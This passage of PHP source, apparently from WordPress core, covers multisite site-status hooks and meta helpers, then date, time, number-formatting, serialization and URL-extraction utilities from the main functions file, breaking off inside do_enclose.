 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_site_meta( $site_id, $meta_key, $meta_value, $prev_value = '' ) {
	return update_metadata( 'blog', $site_id, $meta_key, $meta_value, $prev_value );
}

/**
 * Deletes everything from site meta matching meta key.
 *
 * @since 5.1.0
 *
 * @param string $meta_key Metadata key to search for when deleting.
 * @return bool Whether the site meta key was deleted from the database.
 */
function delete_site_meta_by_key( $meta_key ) {
	return delete_metadata( 'blog', null, $meta_key, '', true );
}

/**
 * Updates the count of sites for a network based on a changed site.
 *
 * @since 5.1.0
 *
 * @param WP_Site      $new_site The site object that has been inserted, updated or deleted.
 * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
 *                               state of that site. Default null.
 */
function wp_maybe_update_network_site_counts_on_update( $new_site, $old_site = null ) {
	if ( null === $old_site ) {
		wp_maybe_update_network_site_counts( $new_site->network_id );
		return;
	}

	if ( $new_site->network_id !== $old_site->network_id ) {
		wp_maybe_update_network_site_counts( $new_site->network_id );
		wp_maybe_update_network_site_counts( $old_site->network_id );
	}
}

/**
 * Triggers actions on site status updates.
 *
 * @since 5.1.0
 *
 * @param WP_Site      $new_site The site object after the update.
 * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
 *                               state of that site. Default null.
 */
function wp_maybe_transition_site_statuses_on_update( $new_site, $old_site = null ) {
	$site_id = $new_site->id;

	// Use the default values for a site if no previous state is given.
	if ( ! $old_site ) {
		$old_site = new WP_Site( new stdClass() );
	}

	if ( $new_site->spam !== $old_site->spam ) {
		if ( '1' === $new_site->spam ) {

			/**
			 * Fires when the 'spam' status is added to a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'make_spam_blog', $site_id );
		} else {

			/**
			 * Fires when the 'spam' status is removed from a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'make_ham_blog', $site_id );
		}
	}

	if ( $new_site->mature !== $old_site->mature ) {
		if ( '1' === $new_site->mature ) {

			/**
			 * Fires when the 'mature' status is added to a site.
			 *
			 * @since 3.1.0
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'mature_blog', $site_id );
		} else {

			/**
			 * Fires when the 'mature' status is removed from a site.
			 *
			 * @since 3.1.0
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'unmature_blog', $site_id );
		}
	}

	if ( $new_site->archived !== $old_site->archived ) {
		if ( '1' === $new_site->archived ) {

			/**
			 * Fires when the 'archived' status is added to a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'archive_blog', $site_id );
		} else {

			/**
			 * Fires when the 'archived' status is removed from a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'unarchive_blog', $site_id );
		}
	}

	if ( $new_site->deleted !== $old_site->deleted ) {
		if ( '1' === $new_site->deleted ) {

			/**
			 * Fires when the 'deleted' status is added to a site.
			 *
			 * @since 3.5.0
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'make_delete_blog', $site_id );
		} else {

			/**
			 * Fires when the 'deleted' status is removed from a site.
			 *
			 * @since 3.5.0
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'make_undelete_blog', $site_id );
		}
	}

	if ( $new_site->public !== $old_site->public ) {

		/**
		 * Fires after the current blog's 'public' setting is updated.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param int    $site_id   Site ID.
		 * @param string $is_public Whether the site is public. A numeric string,
		 *                          for compatibility reasons. Accepts '1' or '0'.
		 */
		do_action( 'update_blog_public', $site_id, $new_site->public );
	}
}

/**
 * Cleans the necessary caches after specific site data has been updated.
 *
 * @since 5.1.0
 *
 * @param WP_Site $new_site The site object after the update.
 * @param WP_Site $old_site The site object prior to the update.
 */
function wp_maybe_clean_new_site_cache_on_update( $new_site, $old_site ) {
	if ( $old_site->domain !== $new_site->domain || $old_site->path !== $new_site->path ) {
		clean_blog_cache( $new_site );
	}
}

/**
 * Updates the `blog_public` option for a given site ID.
 *
 * @since 5.1.0
 *
 * @param int    $site_id   Site ID.
 * @param string $is_public Whether the site is public. A numeric string,
 *                          for compatibility reasons. Accepts '1' or '0'.
 */
function wp_update_blog_public_option_on_site_update( $site_id, $is_public ) {

	// Bail if the site's database tables do not exist (yet).
	if ( ! wp_is_site_initialized( $site_id ) ) {
		return;
	}

	update_blog_option( $site_id, 'blog_public', $is_public );
}

/**
 * Sets the last changed time for the 'sites' cache group.
 *
 * @since 5.1.0
 */
function wp_cache_set_sites_last_changed() {
	wp_cache_set_last_changed( 'sites' );
}

/**
 * Aborts calls to site meta if it is not supported.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param mixed $check Skip-value for whether to proceed site meta function execution.
 * @return mixed Original value of $check, or false if site meta is not supported.
 */
function wp_check_site_meta_support_prefilter( $check ) {
	if ( ! is_site_meta_supported() ) {
		/* translators: %s: Database table name. */
		_doing_it_wrong( __FUNCTION__, sprintf( __( 'The %s table is not installed. Please run the network database upgrade.' ), $GLOBALS['wpdb']->blogmeta ), '5.1.0' );
		return false;
	}

	return $check;
}
<?php
/**
 * Main WordPress API
 *
 * @package WordPress
 */

require ABSPATH . WPINC . '/option.php';

/**
 * Converts given MySQL date string into a different format.
 *
 *  - `$format` should be a PHP date format string.
 *  - 'U' and 'G' formats will return an integer sum of timestamp with timezone offset.
 *  - `$date` is expected to be local time in MySQL format (`Y-m-d H:i:s`).
 *
 * Historically UTC time could be passed to the function to produce Unix timestamp.
 *
 * If `$translate` is true then the given date and format string will
 * be passed to `wp_date()` for translation.
 *
 * @since 0.71
 *
 * @param string $format    Format of the date to return.
 * @param string $date      Date string to convert.
 * @param bool   $translate Whether the return date should be translated. Default true.
 * @return string|int|false Integer if `$format` is 'U' or 'G', string otherwise.
 *                          False on failure.
 */
function mysql2date( $format, $date, $translate = true ) {
	if ( empty( $date ) ) {
		return false;
	}

	$timezone = wp_timezone();
	$datetime = date_create( $date, $timezone );

	if ( false === $datetime ) {
		return false;
	}

	// Returns a sum of timestamp with timezone offset. Ideally should never be used.
	if ( 'G' === $format || 'U' === $format ) {
		return $datetime->getTimestamp() + $datetime->getOffset();
	}

	if ( $translate ) {
		return wp_date( $format, $datetime->getTimestamp(), $timezone );
	}

	return $datetime->format( $format );
}

/**
 * Retrieves the current time based on specified type.
 *
 *  - The 'mysql' type will return the time in the format for MySQL DATETIME field.
 *  - The 'timestamp' or 'U' types will return the current timestamp or a sum of timestamp
 *    and timezone offset, depending on `$gmt`.
 *  - Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
 *
 * If `$gmt` is a truthy value then both types will use GMT time, otherwise the
 * output is adjusted with the GMT offset for the site.
 *
 * @since 1.0.0
 * @since 5.3.0 Now returns an integer if `$type` is 'U'. Previously a string was returned.
 *
 * @param string   $type Type of time to retrieve. Accepts 'mysql', 'timestamp', 'U',
 *                       or PHP date format string (e.g. 'Y-m-d').
 * @param int|bool $gmt  Optional. Whether to use GMT timezone. Default false.
 * @return int|string Integer if `$type` is 'timestamp' or 'U', string otherwise.
 */
function current_time( $type, $gmt = 0 ) {
	// Don't use non-GMT timestamp, unless you know the difference and really need to.
	if ( 'timestamp' === $type || 'U' === $type ) {
		return $gmt ? time() : time() + (int) ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
	}

	if ( 'mysql' === $type ) {
		$type = 'Y-m-d H:i:s';
	}

	$timezone = $gmt ? new DateTimeZone( 'UTC' ) : wp_timezone();
	$datetime = new DateTime( 'now', $timezone );

	return $datetime->format( $type );
}

/**
 * Retrieves the current time as an object using the site's timezone.
 *
 * @since 5.3.0
 *
 * @return DateTimeImmutable Date and time object.
 */
function current_datetime() {
	return new DateTimeImmutable( 'now', wp_timezone() );
}

/**
 * Retrieves the timezone of the site as a string.
 *
 * Uses the `timezone_string` option to get a proper timezone name if available,
 * otherwise falls back to a manual UTC ± offset.
 *
 * Example return values:
 *
 *  - 'Europe/Rome'
 *  - 'America/North_Dakota/New_Salem'
 *  - 'UTC'
 *  - '-06:30'
 *  - '+00:00'
 *  - '+08:45'
 *
 * @since 5.3.0
 *
 * @return string PHP timezone name or a ±HH:MM offset.
 */
function wp_timezone_string() {
	$timezone_string = get_option( 'timezone_string' );

	if ( $timezone_string ) {
		return $timezone_string;
	}

	$offset  = (float) get_option( 'gmt_offset' );
	$hours   = (int) $offset;
	$minutes = ( $offset - $hours );

	$sign      = ( $offset < 0 ) ? '-' : '+';
	$abs_hour  = abs( $hours );
	$abs_mins  = abs( $minutes * 60 );
	$tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins );

	return $tz_offset;
}

/**
 * Retrieves the timezone of the site as a `DateTimeZone` object.
 *
 * Timezone can be based on a PHP timezone string or a ±HH:MM offset.
 *
 * @since 5.3.0
 *
 * @return DateTimeZone Timezone object.
 */
function wp_timezone() {
	return new DateTimeZone( wp_timezone_string() );
}

/**
 * Retrieves the date in localized format, based on a sum of Unix timestamp and
 * timezone offset in seconds.
 *
 * If the locale specifies the locale month and weekday, then the locale will
 * take over the format for the date. If it isn't, then the date format string
 * will be used instead.
 *
 * Note that due to the way WP typically generates a sum of timestamp and offset
 * with `strtotime()`, it implies offset added at a _current_ time, not at the time
 * the timestamp represents. Storing such timestamps or calculating them differently
 * will lead to invalid output.
 *
 * @since 0.71
 * @since 5.3.0 Converted into a wrapper for wp_date().
 *
 * @param string   $format                Format to display the date.
 * @param int|bool $timestamp_with_offset Optional. A sum of Unix timestamp and timezone offset
 *                                        in seconds. Default false.
 * @param bool     $gmt                   Optional. Whether to use GMT timezone. Only applies
 *                                        if timestamp is not provided. Default false.
 * @return string The date, translated if locale specifies it.
 */
function date_i18n( $format, $timestamp_with_offset = false, $gmt = false ) {
	$timestamp = $timestamp_with_offset;

	// If timestamp is omitted it should be current time (summed with offset, unless `$gmt` is true).
	if ( ! is_numeric( $timestamp ) ) {
		// phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested
		$timestamp = current_time( 'timestamp', $gmt );
	}

	/*
	 * This is a legacy implementation quirk that the returned timestamp is also with offset.
	 * Ideally this function should never be used to produce a timestamp.
	 */
	if ( 'U' === $format ) {
		$date = $timestamp;
	} elseif ( $gmt && false === $timestamp_with_offset ) { // Current time in UTC.
		$date = wp_date( $format, null, new DateTimeZone( 'UTC' ) );
	} elseif ( false === $timestamp_with_offset ) { // Current time in site's timezone.
		$date = wp_date( $format );
	} else {
		/*
		 * Timestamp with offset is typically produced by a UTC `strtotime()` call on an input without timezone.
		 * This is the best attempt to reverse that operation into a local time to use.
		 */
		$local_time = gmdate( 'Y-m-d H:i:s', $timestamp );
		$timezone   = wp_timezone();
		$datetime   = date_create( $local_time, $timezone );
		$date       = wp_date( $format, $datetime->getTimestamp(), $timezone );
	}

	/**
	 * Filters the date formatted based on the locale.
	 *
	 * @since 2.8.0
	 *
	 * @param string $date      Formatted date string.
	 * @param string $format    Format to display the date.
	 * @param int    $timestamp A sum of Unix timestamp and timezone offset in seconds.
	 *                          Might be without offset if input omitted timestamp but requested GMT.
	 * @param bool   $gmt       Whether to use GMT timezone. Only applies if timestamp was not provided.
	 *                          Default false.
	 */
	$date = apply_filters( 'date_i18n', $date, $format, $timestamp, $gmt );

	return $date;
}

/**
 * Retrieves the date, in localized format.
 *
 * This is a newer function, intended to replace `date_i18n()` without legacy quirks in it.
 *
 * Note that, unlike `date_i18n()`, this function accepts a true Unix timestamp, not summed
 * with timezone offset.
 *
 * @since 5.3.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param string       $format    PHP date format.
 * @param int          $timestamp Optional. Unix timestamp. Defaults to current time.
 * @param DateTimeZone $timezone  Optional. Timezone to output result in. Defaults to timezone
 *                                from site settings.
 * @return string|false The date, translated if locale specifies it. False on invalid timestamp input.
 */
function wp_date( $format, $timestamp = null, $timezone = null ) {
	global $wp_locale;

	if ( null === $timestamp ) {
		$timestamp = time();
	} elseif ( ! is_numeric( $timestamp ) ) {
		return false;
	}

	if ( ! $timezone ) {
		$timezone = wp_timezone();
	}

	$datetime = date_create( '@' . $timestamp );
	$datetime->setTimezone( $timezone );

	if ( empty( $wp_locale->month ) || empty( $wp_locale->weekday ) ) {
		$date = $datetime->format( $format );
	} else {
		// We need to unpack shorthand `r` format because it has parts that might be localized.
		$format = preg_replace( '/(?<!\\\\)r/', DATE_RFC2822, $format );

		$new_format    = '';
		$format_length = strlen( $format );
		$month         = $wp_locale->get_month( $datetime->format( 'm' ) );
		$weekday       = $wp_locale->get_weekday( $datetime->format( 'w' ) );

		for ( $i = 0; $i < $format_length; $i++ ) {
			switch ( $format[ $i ] ) {
				case 'D':
					$new_format .= addcslashes( $wp_locale->get_weekday_abbrev( $weekday ), '\\A..Za..z' );
					break;
				case 'F':
					$new_format .= addcslashes( $month, '\\A..Za..z' );
					break;
				case 'l':
					$new_format .= addcslashes( $weekday, '\\A..Za..z' );
					break;
				case 'M':
					$new_format .= addcslashes( $wp_locale->get_month_abbrev( $month ), '\\A..Za..z' );
					break;
				case 'a':
					$new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'a' ) ), '\\A..Za..z' );
					break;
				case 'A':
					$new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'A' ) ), '\\A..Za..z' );
					break;
				case '\\':
					$new_format .= $format[ $i ];

					// If character follows a slash, we add it without translating.
					if ( $i < $format_length ) {
						$new_format .= $format[ ++$i ];
					}
					break;
				default:
					$new_format .= $format[ $i ];
					break;
			}
		}

		$date = $datetime->format( $new_format );
		$date = wp_maybe_decline_date( $date, $format );
	}

	/**
	 * Filters the date formatted based on the locale.
	 *
	 * @since 5.3.0
	 *
	 * @param string       $date      Formatted date string.
	 * @param string       $format    Format to display the date.
	 * @param int          $timestamp Unix timestamp.
	 * @param DateTimeZone $timezone  Timezone.
	 */
	$date = apply_filters( 'wp_date', $date, $format, $timestamp, $timezone );

	return $date;
}

/**
 * Determines if the date should be declined.
 *
 * If the locale specifies that month names require a genitive case in certain
 * formats (like 'j F Y'), the month name will be replaced with a correct form.
 *
 * @since 4.4.0
 * @since 5.4.0 The `$format` parameter was added.
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param string $date   Formatted date string.
 * @param string $format Optional. Date format to check. Default empty string.
 * @return string The date, declined if locale specifies it.
 */
function wp_maybe_decline_date( $date, $format = '' ) {
	global $wp_locale;

	// i18n functions are not available in SHORTINIT mode.
	if ( ! function_exists( '_x' ) ) {
		return $date;
	}

	/*
	 * translators: If months in your language require a genitive case,
	 * translate this to 'on'. Do not translate into your own language.
	 */
	if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) {

		$months          = $wp_locale->month;
		$months_genitive = $wp_locale->month_genitive;

		/*
		 * Match a format like 'j F Y' or 'j. F' (day of the month, followed by month name)
		 * and decline the month.
		 */
		if ( $format ) {
			$decline = preg_match( '#[dj]\.? F#', $format );
		} else {
			// If the format is not passed, try to guess it from the date string.
			$decline = preg_match( '#\b\d{1,2}\.? [^\d ]+\b#u', $date );
		}

		if ( $decline ) {
			foreach ( $months as $key => $month ) {
				$months[ $key ] = '# ' . preg_quote( $month, '#' ) . '\b#u';
			}

			foreach ( $months_genitive as $key => $month ) {
				$months_genitive[ $key ] = ' ' . $month;
			}

			$date = preg_replace( $months, $months_genitive, $date );
		}

		/*
		 * Match a format like 'F jS' or 'F j' (month name, followed by day with an optional ordinal suffix)
		 * and change it to declined 'j F'.
		 */
		if ( $format ) {
			$decline = preg_match( '#F [dj]#', $format );
		} else {
			// If the format is not passed, try to guess it from the date string.
			$decline = preg_match( '#\b[^\d ]+ \d{1,2}(st|nd|rd|th)?\b#u', trim( $date ) );
		}

		if ( $decline ) {
			foreach ( $months as $key => $month ) {
				$months[ $key ] = '#\b' . preg_quote( $month, '#' ) . ' (\d{1,2})(st|nd|rd|th)?([-–]\d{1,2})?(st|nd|rd|th)?\b#u';
			}

			foreach ( $months_genitive as $key => $month ) {
				$months_genitive[ $key ] = '$1$3 ' . $month;
			}

			$date = preg_replace( $months, $months_genitive, $date );
		}
	}

	// Used for locale-specific rules.
	$locale = get_locale();

	if ( 'ca' === $locale ) {
		// " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..."
		$date = preg_replace( '# de ([ao])#i', " d'\\1", $date );
	}

	return $date;
}

/**
 * Converts float number to format based on the locale.
 *
 * @since 2.3.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param float $number   The number to convert based on locale.
 * @param int   $decimals Optional. Precision of the number of decimal places. Default 0.
 * @return string Converted number in string format.
 */
function number_format_i18n( $number, $decimals = 0 ) {
	global $wp_locale;

	if ( isset( $wp_locale ) ) {
		$formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
	} else {
		$formatted = number_format( $number, absint( $decimals ) );
	}

	/**
	 * Filters the number formatted based on the locale.
	 *
	 * @since 2.8.0
	 * @since 4.9.0 The `$number` and `$decimals` parameters were added.
	 *
	 * @param string $formatted Converted number in string format.
	 * @param float  $number    The number to convert based on locale.
	 * @param int    $decimals  Precision of the number of decimal places.
	 */
	return apply_filters( 'number_format_i18n', $formatted, $number, $decimals );
}

/**
 * Converts a number of bytes to the largest unit the bytes will fit into.
 *
 * It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts
 * number of bytes to human readable number by taking the number of that unit
 * that the bytes will go into it. Supports YB value.
 *
 * Please note that integers in PHP are limited to 32 bits, unless they are on
 * 64 bit architecture, then they have 64 bit size. If you need to place the
 * larger size then what PHP integer type will hold, then use a string. It will
 * be converted to a double, which should always have 64 bit length.
 *
 * Technically the correct unit names for powers of 1024 are KiB, MiB etc.
 *
 * @since 2.3.0
 * @since 6.0.0 Support for PB, EB, ZB, and YB was added.
 *
 * @param int|string $bytes    Number of bytes. Note max integer size for integers.
 * @param int        $decimals Optional. Precision of number of decimal places. Default 0.
 * @return string|false Number string on success, false on failure.
 */
function size_format( $bytes, $decimals = 0 ) {
	$quant = array(
		/* translators: Unit symbol for yottabyte. */
		_x( 'YB', 'unit symbol' ) => YB_IN_BYTES,
		/* translators: Unit symbol for zettabyte. */
		_x( 'ZB', 'unit symbol' ) => ZB_IN_BYTES,
		/* translators: Unit symbol for exabyte. */
		_x( 'EB', 'unit symbol' ) => EB_IN_BYTES,
		/* translators: Unit symbol for petabyte. */
		_x( 'PB', 'unit symbol' ) => PB_IN_BYTES,
		/* translators: Unit symbol for terabyte. */
		_x( 'TB', 'unit symbol' ) => TB_IN_BYTES,
		/* translators: Unit symbol for gigabyte. */
		_x( 'GB', 'unit symbol' ) => GB_IN_BYTES,
		/* translators: Unit symbol for megabyte. */
		_x( 'MB', 'unit symbol' ) => MB_IN_BYTES,
		/* translators: Unit symbol for kilobyte. */
		_x( 'KB', 'unit symbol' ) => KB_IN_BYTES,
		/* translators: Unit symbol for byte. */
		_x( 'B', 'unit symbol' )  => 1,
	);

	if ( 0 === $bytes ) {
		/* translators: Unit symbol for byte. */
		return number_format_i18n( 0, $decimals ) . ' ' . _x( 'B', 'unit symbol' );
	}

	foreach ( $quant as $unit => $mag ) {
		if ( (float) $bytes >= $mag ) {
			return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
		}
	}

	return false;
}

/**
 * Converts a duration to human readable format.
 *
 * @since 5.1.0
 *
 * @param string $duration Duration will be in string format (HH:ii:ss) OR (ii:ss),
 *                         with a possible prepended negative sign (-).
 * @return string|false A human readable duration string, false on failure.
 */
function human_readable_duration( $duration = '' ) {
	if ( ( empty( $duration ) || ! is_string( $duration ) ) ) {
		return false;
	}

	$duration = trim( $duration );

	// Remove prepended negative sign.
	if ( str_starts_with( $duration, '-' ) ) {
		$duration = substr( $duration, 1 );
	}

	// Extract duration parts.
	$duration_parts = array_reverse( explode( ':', $duration ) );
	$duration_count = count( $duration_parts );

	$hour   = null;
	$minute = null;
	$second = null;

	if ( 3 === $duration_count ) {
		// Validate HH:ii:ss duration format.
		if ( ! ( (bool) preg_match( '/^([0-9]+):([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) {
			return false;
		}
		// Three parts: hours, minutes & seconds.
		list( $second, $minute, $hour ) = $duration_parts;
	} elseif ( 2 === $duration_count ) {
		// Validate ii:ss duration format.
		if ( ! ( (bool) preg_match( '/^([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) {
			return false;
		}
		// Two parts: minutes & seconds.
		list( $second, $minute ) = $duration_parts;
	} else {
		return false;
	}

	$human_readable_duration = array();

	// Add the hour part to the string.
	if ( is_numeric( $hour ) ) {
		/* translators: %s: Time duration in hour or hours. */
		$human_readable_duration[] = sprintf( _n( '%s hour', '%s hours', $hour ), (int) $hour );
	}

	// Add the minute part to the string.
	if ( is_numeric( $minute ) ) {
		/* translators: %s: Time duration in minute or minutes. */
		$human_readable_duration[] = sprintf( _n( '%s minute', '%s minutes', $minute ), (int) $minute );
	}

	// Add the second part to the string.
	if ( is_numeric( $second ) ) {
		/* translators: %s: Time duration in second or seconds. */
		$human_readable_duration[] = sprintf( _n( '%s second', '%s seconds', $second ), (int) $second );
	}

	return implode( ', ', $human_readable_duration );
}

/**
 * Gets the week start and end from the datetime or date string from MySQL.
 *
 * @since 0.71
 *
 * @param string     $mysqlstring   Date or datetime field type from MySQL.
 * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
 * @return int[] {
 *     Week start and end dates as Unix timestamps.
 *
 *     @type int $start The week start date as a Unix timestamp.
 *     @type int $end   The week end date as a Unix timestamp.
 * }
 */
function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
	// MySQL string year.
	$my = substr( $mysqlstring, 0, 4 );

	// MySQL string month.
	$mm = substr( $mysqlstring, 8, 2 );

	// MySQL string day.
	$md = substr( $mysqlstring, 5, 2 );

	// The timestamp for MySQL string day.
	$day = mktime( 0, 0, 0, $md, $mm, $my );

	// The day of the week from the timestamp.
	$weekday = gmdate( 'w', $day );

	if ( ! is_numeric( $start_of_week ) ) {
		$start_of_week = get_option( 'start_of_week' );
	}

	if ( $weekday < $start_of_week ) {
		$weekday += 7;
	}

	// The most recent week start day on or before $day.
	$start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );

	// $start + 1 week - 1 second.
	$end = $start + WEEK_IN_SECONDS - 1;
	return compact( 'start', 'end' );
}

/**
 * Serializes data, if needed.
 *
 * @since 2.0.5
 *
 * @param string|array|object $data Data that might be serialized.
 * @return mixed A scalar data.
 */
function maybe_serialize( $data ) {
	if ( is_array( $data ) || is_object( $data ) ) {
		return serialize( $data );
	}

	/*
	 * Double serialization is required for backward compatibility.
	 * See https://core.trac.wordpress.org/ticket/12930
	 * Also the world will end. See WP 3.6.1.
	 */
	if ( is_serialized( $data, false ) ) {
		return serialize( $data );
	}

	return $data;
}

/**
 * Unserializes data only if it was serialized.
 *
 * @since 2.0.0
 *
 * @param string $data Data that might be unserialized.
 * @return mixed Unserialized data can be any type.
 */
function maybe_unserialize( $data ) {
	if ( is_serialized( $data ) ) { // Don't attempt to unserialize data that wasn't serialized going in.
		return @unserialize( trim( $data ) );
	}

	return $data;
}

/**
 * Checks value to find if it was serialized.
 *
 * If $data is not a string, then returned value will always be false.
 * Serialized data is always a string.
 *
 * @since 2.0.5
 * @since 6.1.0 Added Enum support.
 *
 * @param string $data   Value to check to see if was serialized.
 * @param bool   $strict Optional. Whether to be strict about the end of the string. Default true.
 * @return bool False if not serialized and true if it was.
 */
function is_serialized( $data, $strict = true ) {
	// If it isn't a string, it isn't serialized.
	if ( ! is_string( $data ) ) {
		return false;
	}
	$data = trim( $data );
	if ( 'N;' === $data ) {
		return true;
	}
	if ( strlen( $data ) < 4 ) {
		return false;
	}
	if ( ':' !== $data[1] ) {
		return false;
	}
	if ( $strict ) {
		$lastc = substr( $data, -1 );
		if ( ';' !== $lastc && '}' !== $lastc ) {
			return false;
		}
	} else {
		$semicolon = strpos( $data, ';' );
		$brace     = strpos( $data, '}' );
		// Either ; or } must exist.
		if ( false === $semicolon && false === $brace ) {
			return false;
		}
		// But neither must be in the first X characters.
		if ( false !== $semicolon && $semicolon < 3 ) {
			return false;
		}
		if ( false !== $brace && $brace < 4 ) {
			return false;
		}
	}
	$token = $data[0];
	switch ( $token ) {
		case 's':
			if ( $strict ) {
				if ( '"' !== substr( $data, -2, 1 ) ) {
					return false;
				}
			} elseif ( ! str_contains( $data, '"' ) ) {
				return false;
			}
			// Or else fall through.
		case 'a':
		case 'O':
		case 'E':
			return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
		case 'b':
		case 'i':
		case 'd':
			$end = $strict ? '$' : '';
			return (bool) preg_match( "/^{$token}:[0-9.E+-]+;$end/", $data );
	}
	return false;
}

/**
 * Checks whether serialized data is of string type.
 *
 * @since 2.0.5
 *
 * @param string $data Serialized data.
 * @return bool False if not a serialized string, true if it is.
 */
function is_serialized_string( $data ) {
	// if it isn't a string, it isn't a serialized string.
	if ( ! is_string( $data ) ) {
		return false;
	}
	$data = trim( $data );
	if ( strlen( $data ) < 4 ) {
		return false;
	} elseif ( ':' !== $data[1] ) {
		return false;
	} elseif ( ! str_ends_with( $data, ';' ) ) {
		return false;
	} elseif ( 's' !== $data[0] ) {
		return false;
	} elseif ( '"' !== substr( $data, -2, 1 ) ) {
		return false;
	} else {
		return true;
	}
}

/**
 * Retrieves post title from XMLRPC XML.
 *
 * If the title element is not part of the XML, then the default post title from
 * the $post_default_title will be used instead.
 *
 * @since 0.71
 *
 * @global string $post_default_title Default XML-RPC post title.
 *
 * @param string $content XMLRPC XML Request content
 * @return string Post title
 */
function xmlrpc_getposttitle( $content ) {
	global $post_default_title;
	if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
		$post_title = $matchtitle[1];
	} else {
		$post_title = $post_default_title;
	}
	return $post_title;
}

/**
 * Retrieves the post category or categories from XMLRPC XML.
 *
 * If the category element is not found, then the default post category will be
 * used. The return type then would be what $post_default_category. If the
 * category is found, then it will always be an array.
 *
 * @since 0.71
 *
 * @global string $post_default_category Default XML-RPC post category.
 *
 * @param string $content XMLRPC XML Request content
 * @return string|array List of categories or category name.
 */
function xmlrpc_getpostcategory( $content ) {
	global $post_default_category;
	if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
		$post_category = trim( $matchcat[1], ',' );
		$post_category = explode( ',', $post_category );
	} else {
		$post_category = $post_default_category;
	}
	return $post_category;
}

/**
 * XMLRPC XML content without title and category elements.
 *
 * @since 0.71
 *
 * @param string $content XML-RPC XML Request content.
 * @return string XMLRPC XML Request content without title and category elements.
 */
function xmlrpc_removepostdata( $content ) {
	$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
	$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
	$content = trim( $content );
	return $content;
}

/**
 * Uses RegEx to extract URLs from arbitrary content.
 *
 * @since 3.7.0
 * @since 6.0.0 Fixes support for HTML entities (Trac 30580).
 *
 * @param string $content Content to extract URLs from.
 * @return string[] Array of URLs found in passed string.
 */
function wp_extract_urls( $content ) {
	preg_match_all(
		"#([\"']?)("
			. '(?:([\w-]+:)?//?)'
			. '[^\s()<>]+'
			. '[.]'
			. '(?:'
				. '\([\w\d]+\)|'
				. '(?:'
					. "[^`!()\[\]{}:'\".,<>«»“”‘’\s]|"
					. '(?:[:]\d+)?/?'
				. ')+'
			. ')'
		. ")\\1#",
		$content,
		$post_links
	);

	$post_links = array_unique(
		array_map(
			static function ( $link ) {
				// Decode to replace valid entities, like &amp;.
				$link = html_entity_decode( $link );
				// Maintain backward compatibility by removing extraneous semi-colons (`;`).
				return str_replace( ';', '', $link );
			},
			$post_links[2]
		)
	);

	return array_values( $post_links );
}

/**
 * Checks content for video and audio links to add as enclosures.
 *
 * Will not add enclosures that have already been added and will
 * remove enclosures that are no longer in the post. This is called as
 * pingbacks and trackbacks.
 *
 * @since 1.5.0
 * @since 5.3.0 The `$content` parameter was made optional, and the `$post` parameter was
 *              updated to accept a post ID or a WP_Post object.
 * @since 5.6.0 The `$content` parameter is no longer optional, but passing `null` to skip it
 *              is still supported.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string|null $content Post content. If `null`, the `post_content` field from `$post` is used.
 * @param int|WP_Post $post    Post ID or post object.
 * @return void|false Void on success, false if the post is not found.
 */
function do_enclose( $content, $post ) {
	global $wpdb;

	// @todo Tidy this code and make the debug code optional.
	require_once ABSPATH . WPINC . '/class-IXR.php';

	$post = get_post( $post );
	if ( ! $post ) {
		return false;
	}

	if ( null === $content ) {
		$content = $post->post_content;
	}

	$post_links = array();

	$pung = get_enclosed( $post->ID );

	$post_links_temp = wp_extract_urls( $content );

	foreach ( $pung as $link_test ) {
		// Link is no longer in post.
		if ( ! in_array( $link_test, $post_links_temp, true ) ) {
			$mids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $link_test ) . '%' ) );
			foreach ( $mids as $mid ) {
				delete_metadata_by_mid( 'post', $mid );
			}
		}
	}

	foreach ( (array) $post_links_temp as $link_test ) {
		// If we haven't pung it already.
		if ( ! in_array( $link_test, $pung, true ) ) {
			$test = parse_url( $link_test );
			if ( false === $test ) {
				continue;
			}
